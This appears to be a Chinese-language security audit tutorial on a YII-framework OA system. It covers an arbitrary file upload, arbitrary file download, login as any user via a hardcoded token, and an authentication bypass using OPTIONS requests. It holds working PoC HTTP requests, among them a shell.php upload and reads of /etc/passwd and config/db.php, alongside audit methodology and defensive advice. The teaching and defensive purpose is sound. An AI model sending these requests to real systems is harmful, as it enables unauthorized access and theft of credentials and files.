记一次项目中遇到的YII框架审计
字数 2059 2025-08-19 12:42:20
YII框架安全审计实战教学文档
一、YII框架基础认知
1.1 框架结构分析
- 入口文件:
/web/index.php是YII框架的主要入口 - 模块化管理:系统以
system作为根目录进行模块化管理 - 路由结构:采用
模块名/控制器/操作的形式,例如/oa/main/login
1.2 路由解析机制
- 典型路由格式:
/模块名/控制器/操作 - 示例解析:
/oa/main/login→system/modules/oa/controllers/MainController.php中的login方法- 控制器文件路径:
system/modules/[模块名]/controllers/[控制器名]Controller.php
二、漏洞审计实战
2.1 任意文件上传漏洞
漏洞1:注释扩展名限制导致的上传
- 漏洞文件:
system/modules/main/extend/SaveUpload.php - 漏洞成因:
- 开发者注释掉了扩展后缀的限制代码
saveAs方法未进行有效过滤
- 利用条件:
- 找到调用
SaveUpload::saveFile()的控制器 - 未授权访问或权限绕过
- 找到调用
漏洞2:静态目录下的上传漏洞
- 漏洞文件:
web/static/lib/weboffice/js/OfficeServer.php - 漏洞特征:
- 直接位于静态资源目录,可被直接访问
- 通过JSON参数控制操作类型
- 利用方式:
// 上传利用 POST /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"SAVEFILE","FILEPATH":"/shell.php"} // 文件下载利用 GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"/etc/passwd"}
实际可利用的未授权上传接口
contacts/default/uploadsalary/record/uploadknowledge/default/upload
2.2 任意文件下载漏洞
- 同漏洞文件:
OfficeServer.php - 利用方式:
- 设置
OPTION为LOADFILE - 通过
FILEPATH参数指定目标文件路径
- 设置
- 示例:
GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"../../config/db.php"} HTTP/1.1
2.3 硬编码导致的任意用户登录
- 漏洞文件:
system/modules/oa/controllers/AuthController.php - 漏洞机制:
- 存在硬编码的认证逻辑
- 用户凭证通过base64编码传输
- 使用固定密钥生成token
- 利用步骤:
- 获取存在的用户名(如
zhangsan) - Base64编码用户名:
emhhbmdzYW4= - 计算token:
md5("emhhbmdzYW4=" . "固定密钥") - 构造请求:
GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
- 获取存在的用户名(如
2.4 权限绕过漏洞
- 漏洞文件:
api/modules/v1/controllers/UserController.php - 关键代码:
public $notAuthAction = ['auth', 'verify-url']; - 绕过原理:
- 框架的
behaviors方法优先执行 - 当请求方法为
OPTIONS或接口在notAuthAction列表中时,跳过认证 - 利用
OPTIONS方法绕过权限检查
- 框架的
- 利用方式:
- 对需要认证的接口使用
OPTIONS方法请求 - 示例:
OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
- 对需要认证的接口使用
三、审计方法论总结
3.1 关键审计点
-
文件上传功能:
- 全局搜索
move_uploaded_file - 检查文件类型过滤逻辑
- 验证保存路径是否可控
- 全局搜索
-
权限控制:
- 检查
notAuthAction等白名单配置 - 验证认证逻辑是否可绕过
- 查找硬编码凭证
- 检查
-
路由解析:
- 理解框架路由机制
- 识别非常规路由格式(如含
-的路由)
3.2 高效审计技巧
-
开发文档利用:
- 查找系统开发文档了解架构
- 分析文档中暴露的接口和路由信息
-
全局搜索策略:
- 搜索关键函数:
move_uploaded_file、file_get_contents等 - 搜索敏感关键词:
notAuth、token、secret等
- 搜索关键函数:
-
静态资源审计:
- 检查
static、public等目录下的PHP文件 - 验证这些文件是否可直接访问
- 检查
3.3 YII框架特有注意事项
-
路由格式多样性:
- 标准格式:
模块/控制器/操作 - 可能存在的变体:
模块-控制器/操作等
- 标准格式:
-
行为方法优先级:
behaviors()方法通常优先执行- 权限检查可能在此方法中实现
-
配置覆盖风险:
- 检查被注释的配置项
- 验证默认配置是否被不安全覆盖
四、防御建议
4.1 开发层面
-
文件上传:
- 严格限制上传文件类型
- 使用白名单而非黑名单
- 文件重命名存储
-
认证授权:
- 避免硬编码凭证
- 使用框架提供的标准认证组件
- 敏感接口强制二次验证
-
路由安全:
- 统一路由格式
- 禁用不必要的HTTP方法
- 实施严格的权限控制
4.2 运维层面
-
目录权限:
- 限制静态目录的PHP执行权限
- 上传目录设置为不可执行
-
代码保护:
- 移除开发文档和测试接口
- 禁用PHP错误回显
-
监控审计:
- 监控异常文件操作
- 记录敏感操作日志
五、附录:漏洞利用PoC
5.1 任意文件上传
POST /index.php/salary/record/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345
------WebKitFormBoundary12345
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundary12345--
5.2 权限绕过
OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
Host: target.com
5.3 任意用户登录
GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
Host: target.com
通过本教学文档,安全研究人员可以全面了解YII框架的安全审计方法,掌握常见漏洞的发现和利用技巧,同时也能为开发人员提供有效的安全防护建议。